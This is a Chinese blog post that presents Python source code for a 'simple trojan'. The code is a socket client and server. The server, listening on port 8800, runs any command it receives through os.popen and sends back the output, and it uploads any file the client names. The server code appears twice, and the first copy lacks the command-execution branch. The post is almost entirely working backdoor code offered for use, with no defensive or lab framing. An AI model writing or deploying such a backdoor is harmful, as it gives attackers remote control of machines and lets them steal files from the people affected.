zoukankan      html  css  js  c++  java
  • python实现一个简单木马!

    一个简单的木马程序

    绝大多数的木马程序都是基于Socket来实现的

    废话少说直接上代码!

    代码:

    client部分:

    # -*- coding: UTF-8 -*-

    import socket
    import sys
    import re
    import os


    class Client:
    def __init__(self, serverIp, serverPort):
    self.serverIp = serverIp # 待连接的远程主机的域名
    self.serverPort = serverPort
    self.bufferSize = 10240

    def connet(self): # 连接方法
    try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except socket.error as e:
    print("Failed to create socket. Error: %s" % e)

    try:
    s.connect((self.serverIp, self.serverPort))
    while True:
    message = input('> ') # 接收用户输入
    if not message:
    break
    s.send(bytes(message, 'utf-8')) # 发送命令
    data = s.recv(self.bufferSize) # 接收数据
    if not data:
    break
    if re.search("^0001", data.decode('utf-8', 'ignore')): # 判断数据类型
    print(data.decode('utf-8')[4:])
    else: # 文件内容处理
    s.send("File size received".encode()) # 通知服务端可以发送文件了
    file_total_size = int(data.decode()) # 总大小
    received_size = 0
    f = open("new" + os.path.split(message)[-1], "wb") # 创建文件
    while received_size < file_total_size:
    data = s.recv(self.bufferSize)
    f.write(data) # 写文件
    received_size += len(data) # 累加接收长度
    print("已接收:", received_size)
    f.close() # 关闭文件
    print("receive done", file_total_size, " ", received_size)
    except socket.error:
    s.close()
    raise # 退出进程
    finally:
    s.close()


    if __name__ == '__main__':
    cl = Client('127.0.0.1', 8800)
    cl.connet()
    sys.exit() # 退出进程

     

    server部分:

    # -*- coding: UTF-8 -*-

    import socket
    import sys
    import os


    class server:
        def __init__(self, ip, port):
            self.port = port
            self.ip = ip
            self.bufferSize = 10240

        def start(self):  # 启动监听,接收数据
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                s.bind((self.ip, self.port))  # 绑定
                s.listen(10)  # 监听
                print('等待客户端连接')
                while True:  # 一直等待新的连接
                    try:
                        conn, addr = s.accept()  # 接收连接
                        print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
                        while True:  # 保持长连接
                            data = conn.recv(self.bufferSize)#接收数据
                            if not data:#断开连接时退出当前循环
                                break
                            else:
                                self.executeCommand(conn,data)
                        conn.close()#关闭当前连接
                    except socket.error as e:
                        print(e)
                        conn.close()  # 关闭连接
            finally:
                s.close()  # 关闭服务端

        def executeCommand(self, tcpCliSock, data):  # 解析并执行命令
            try:#
                 message = data.decode("utf-8")
                 if os.path.isfile(message):#判断是否是文件
                    filesize = str(os.path.getsize(message))#获取文件大小
                    print("文件大小为:",filesize)
                    tcpCliSock.send(filesize.encode())#发送文件大小
                    data = tcpCliSock.recv(self.bufferSize)
                    print("开始发送")
                    f = open(message, "rb")#打开文件
                    for line in f:
                        tcpCliSock.send(line)#发送文件内容
            except:
                raise


    if __name__ == '__main__':
        s = server('', 8800)
        s.start()
    # -*- coding: UTF-8 -*-

    import socket
    import sys
    import os


    class server:
    def __init__(self, ip, port):
    self.port = port
    self.ip = ip
    self.bufferSize = 10240

    def start(self): # 启动监听,接收数据
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
    s.bind((self.ip, self.port)) # 绑定
    s.listen(10) # 监听
    print('等待客户端连接')
    while True: # 一直等待新的连接
    try:
    conn, addr = s.accept() # 接收连接
    print('客户端连接 ' + addr[0] + ':' + str(addr[1]))
    while True: # 不知道客户端发送数据大小,循环接收
    data = conn.recv(self.bufferSize)
    if not data:
    break
    else:
    self.executeCommand(conn,data)
    conn.close()
    except socket.error as e:
    print(e)
    conn.close() # 关闭连接
    finally:
    s.close() # 关闭服务端

    def executeCommand(self, tcpCliSock, data): # 解析并执行命令
    try:#
    message = data.decode("utf-8")
    if os.path.isfile(message):#判断是否是文件
    filesize = str(os.path.getsize(message))#获取文件大小
    print("文件大小为:",filesize)
    tcpCliSock.send(filesize.encode())#发送文件大小
    data = tcpCliSock.recv(self.bufferSize)
    print("开始发送")
    f = open(message, "rb")#打开文件
    for line in f:
    tcpCliSock.send(line)#发送文件内容
    else:
    tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))
    except:
    raise



    if __name__ == '__main__':
    s = server('', 8800)
    s.start()
     

    执行效果:



    提醒一下,以上是linux下的方式

    如果使用的是windows得解释器:

    命令如下

     其余同上!

    梦的远方,温暖为向,所到之处,遍地阳光!
  • 相关阅读:
    iot 表索引dump《2》
    heap表和iot表排序规则不同
    Cannot complete the install because one or more required items could not be found.
    iot表输出按主键列排序,heap表不是
    iot 表主键存放所有数据,且按数据插入顺序排序
    iot表和heap表排序规则不同
    org.eclipse.graphiti.ui.editor.DiagramEditorInput.
    Oracle 排序规则
    perl 异步超时 打印错误
    14.6.3 Grouping DML Operations with Transactions 组DML操作
  • 原文地址:https://www.cnblogs.com/blamwq/p/11712653.html
Copyright © 2011-2022 走看看